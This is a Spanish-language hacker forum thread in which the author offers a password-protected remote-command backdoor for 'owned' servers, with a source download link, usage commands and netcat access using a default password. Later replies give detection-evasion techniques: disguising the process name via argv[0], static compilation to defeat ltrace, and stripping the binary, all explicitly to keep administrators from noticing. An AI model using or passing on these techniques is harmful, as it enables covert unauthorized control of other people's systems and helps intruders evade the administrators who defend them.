que tal?

 Bueno, pues aki pincho un nuevo programa, no tan nuevo en si ya que se trata de una variante de
 uno que expuse anteriormente.
 Este se trata de igual manera de un programa cliente-servidor:
 el server se dejaria korriendo en la makina owneada o kon user en activo ( mirad que solo r00t puede
 bindear en puertos < 1024! ).
 El cliente, pues logicamente en nuestra makina; el que se conectaria kon el server tras introducir los
 argumentos debidos en la linea de comandos.

 La novedad en este es que.. es password protected. O sea, kon el anterior, si poniamos el server a la
 escucha en la makina owneada o kon user en activo, cualkiera que pudiera hacerle un barrido de puertos
 y tras ello, "netcateado" al puerto en el que nuestro server escuchaba, podia ejecutar komandos y ver sus
 resultados igualmente.
 El kaso es que kon esta nueva version, si alguien "netcatea" al puerto del server, tendra que tipear
 primero nuestra password o, de lo kontrario, no vera ningun resultado.

 La password la debeis kambiar vosotros, pero la que tengo por defecto es "putoamo".

 Un ejemplo de uso: ( el simbolo "$" es parte del prompt!! )
 
 $ ./server2 80   // dejamos korriendo en la makina objetivo el server. puerto 80 es < 1024!
 $ ./sock_Mazinger3 putoamo localhost 80 ls -l    // desde nuestra makina

 El kaso es que, por kada nuevo komando que keramos realizar, debemos ejecutar todo el comando
 de nuevo con el cliente desde nuestra makina! :_)
 O sea, para ejecutar ahora un id -un por ejemplo tendriamos que hacer de nuevo:

 $ ./sock_Mazinger3 putoamo localhost 80 id -un   // otro comando

 Igual que anteriormente, os digo que CORRE DE LA PARTE DEL que KIERA usar el programa el
 kitar las salidas por consola. Es decir, si no kitais los printfs() pues seria un poko kantoso el tema, no?
 editad los sources y cambiad lo que veais.

 No es gran cosa, pero lo importante es aportar, no?
 No escondo el proceso, por lo que si el admin del servidor elabora un:
 $ ps -ef    # por ejemplo
 podra percatarse de que hay un programa corriendo komo: server2 80
 por ello, compiladlo komo ( por ejemplo ):
 $ gcc -o ptraced server2.c

 Tambien, si el admin hace un:
 $ netstat -an | grep LISTEN  # por ejemplo
 o
 $ lsof -i

 estariamos en problemas.
 Bueno, me las piro que mi mae me esta chillando pa ir al dentista.
 Cualkier duda me la deciis.

 Bye.

 Sources:

 www.geocities.com/shirleylla/PassProtec.tar.gz

 Descompresion:
 $ tar -zxvf PassProtec.tar.gz

 Suerte.

  ##################### MODIFIKO #######################
 Ya llegue de la visita al dentista..

 El argumento del cliente ( sock_Mazinger3 ) expuesto anteriormente "localhost" es UN EJEMPLO.
 Por supuesto que ahi iria la direccion del server, y no localhost!

  Tambien decir que, si no keremos usar sock_Mazinger3 komo cliente, ahora si podriamos usar
  netcat como cliente, asi: ( desde nuestra makina al server )
  $ nc IP_del_server 80
  >  putoamo
  >  ls -l

  El ">" no os procupeis, es una simple emulcacion de PS2!!

  # EOF

 

 que tal.

 Para que desaparezca en la lista de ps... puedes hacer esto.
 
 en el main(), tras declarar las variables locales haz esto:

 ....
 strcpy(argv[0], "/usr/bin/artsd -F 15");

 ....

 Asi, kreo que podras hacer suplantar el nombre del programa ( server2 ) por el string que kopiamos
 en el argv[0].

 Saludos y Suerte.

 P.D: Estono la hace indetectable!
 P.D2: Prueba a compilarlo no-dinamicamente ( aniade tu la libreria C, que es la que le falta? )
           Tras ello, hazle un strip ( strip server2 ) tras el compilado.
            Asi, sera mas indetectable, solo mas.

 que tal.

 pues yo te ensenio la utilidad.
 El kaso es que, raro veo que puedas compilar el programa con un nombre tal:
 /usr/bin/artsd -F 15    /* incluyendo espacios! */
 Es por ello por lo que es util; aunke rekonozko la utilidad es media.
 Asi, el Admin kedara "mas despistado"..

 Lo de kompilarlo dinamicamente.. lee mejor! es no-dinamicamente.
 esto es para que, si el Admin, r00t o kien sea kiere analizar nuestro programa kon herramientas komo
 ltrace ( o ptrace ) la cual esta basada en las llamadas a las librerias dinamicas por parte de nuestro
 programa ( kompilado dinamicamente en este kaso ), le seria mas facil el delatarnos al hacer este
 ltrace un seguimiento de las librerias dinamicas llamadas por nuestro server2.
 que okurriria si la kompilasemos de manera no-dinamica o estatica? ( komo apunte en un principio )
 Pues que programas komo ltrace, ya no irian tan bien; y ake se basan en las llamadas a librerias
 dinamicas, y hemos kompilado a server2 estaticamente ..
 Lo de strip, es para que, por ejemplo, si el admin kiere usar un programa komo objdump para Linux,
 podria ver la sección de solo lectura de codigo del programa. Ahora, el Admin tendira un modo de
 ver info de las librerias estaticas impuestas en esa sección. Kon strip, lo que hacemos es dejar esa data
 medio obsoleta..

 Bueno, manos a la obra.
 Ya te mostre komo si que es un tanto util ( no komo tu kreias ) el hacerle el strcpy() a argv[0].
 Ahora, te ayudare kon lo de la parte de la compilacion estatica.
 Ya sabemos que, en nuestros Linux, muchas aplicaciones se linkean de manera dinamica con la libreria
 C de linux ( libc ). Esto, kiere decir que cuando ejecutamos el binario ( es /lib/ld.linux.so.2 o algo asi
 el linkeador, preparador y final ejecutador del programa ) la libreria es linkeada en tiempo de ejecucion
 al codigo. Asi, ahorramos espacio y mas menesteres.. Asi que, si kompilamos nuestro server2.c de
 manera dinamica ( haciendo gcc -o server2 server2.c estaria siendo kompilado/linkado de manera
 dinamica ),ya te dije que hay herramientas que vienen a modo muy util para debuggear las llamadas
 a las librerias dinamicas usadas por server2, komo la tool ltrace.
  que pasaria si la kompilamos estaticamente? Pues que el Admin, no podria hacer un seguimiento de
 nuestro programa ( server2 ) kon la tool ltrace al haber estado compilado de forma estatica.
 Aun asi, ya te dije que el Admin puede utilizar objdump ( o similar ) para ver la info en la sección
 ro de codigo del programa compilado estaticamente ( server2 ). Kon strip, se lo pondriamos mas
 dificil al kitar cierta info de esa sección de datos del programa compilado estaticamente ( server2 ).
 En definitiva, que si kojemos y kompilamos estaticamente server2.c, y le pasamos strip, el programa
 estaria un poko mas "blindado".
 Ya que sabemos komo kompilar dinamicamente,te voy a enseniar komo kompilar estaticamente
 nestro programa server2.c.

 # gcc -static -o server2 server2.c -L/usr/lib/ -lc

 ya esta, ahora nuestro server2.c esta kompilado estaticamente.
 Para komprobarlo, puedes hacer un:
 
 # ldd server2

 tras el kompilado estatico. Ya veras komo ldd te dice que el programa esta compilado
 no-dinamicamente.
 Ahora,pasariamos strip a nuestro binario server2:

 # strip server2

 Komo nota, doy por supuesto que libc.a ( el .a se refiere por convencion a la extension de las librerias
 estaticas ) esta bajo /usr/lib. Te preguntaras, y por que -lc al final. Por que no -libc? pues porke no
 tienes keponer ni el .a final, ni el lib del principio. Eso, son convenciones..
 Espero que hayas kitado todos los printfs() del programa!! Si no, estas dando info por el stdout
 directamente!!

 Si kieres komparar tu mismo el hecho de ltrace, puedes probar a compilar server2.c de manera dinamica
 primero: # gcc -o server2 server2.c ( por ejemplo! )
 Tras esto haz un:

 # ltrace ./server2

 Verias las llamadas a las librerias dinamicas ( y ake se kompilo dinamicamente! )
 Ahora, prueba a compilarlo estaticamente komo te dije antes:
 
 # gcc -static -o server2 server2.c -L/usr/lib/ -lc


 Ahora, prueba a hacer de nuevo un:

 # ltrace ./server2

 Bueno, Suerte.


 P.D: And.. Don't worry 2 much man, lately I just write and talk shit..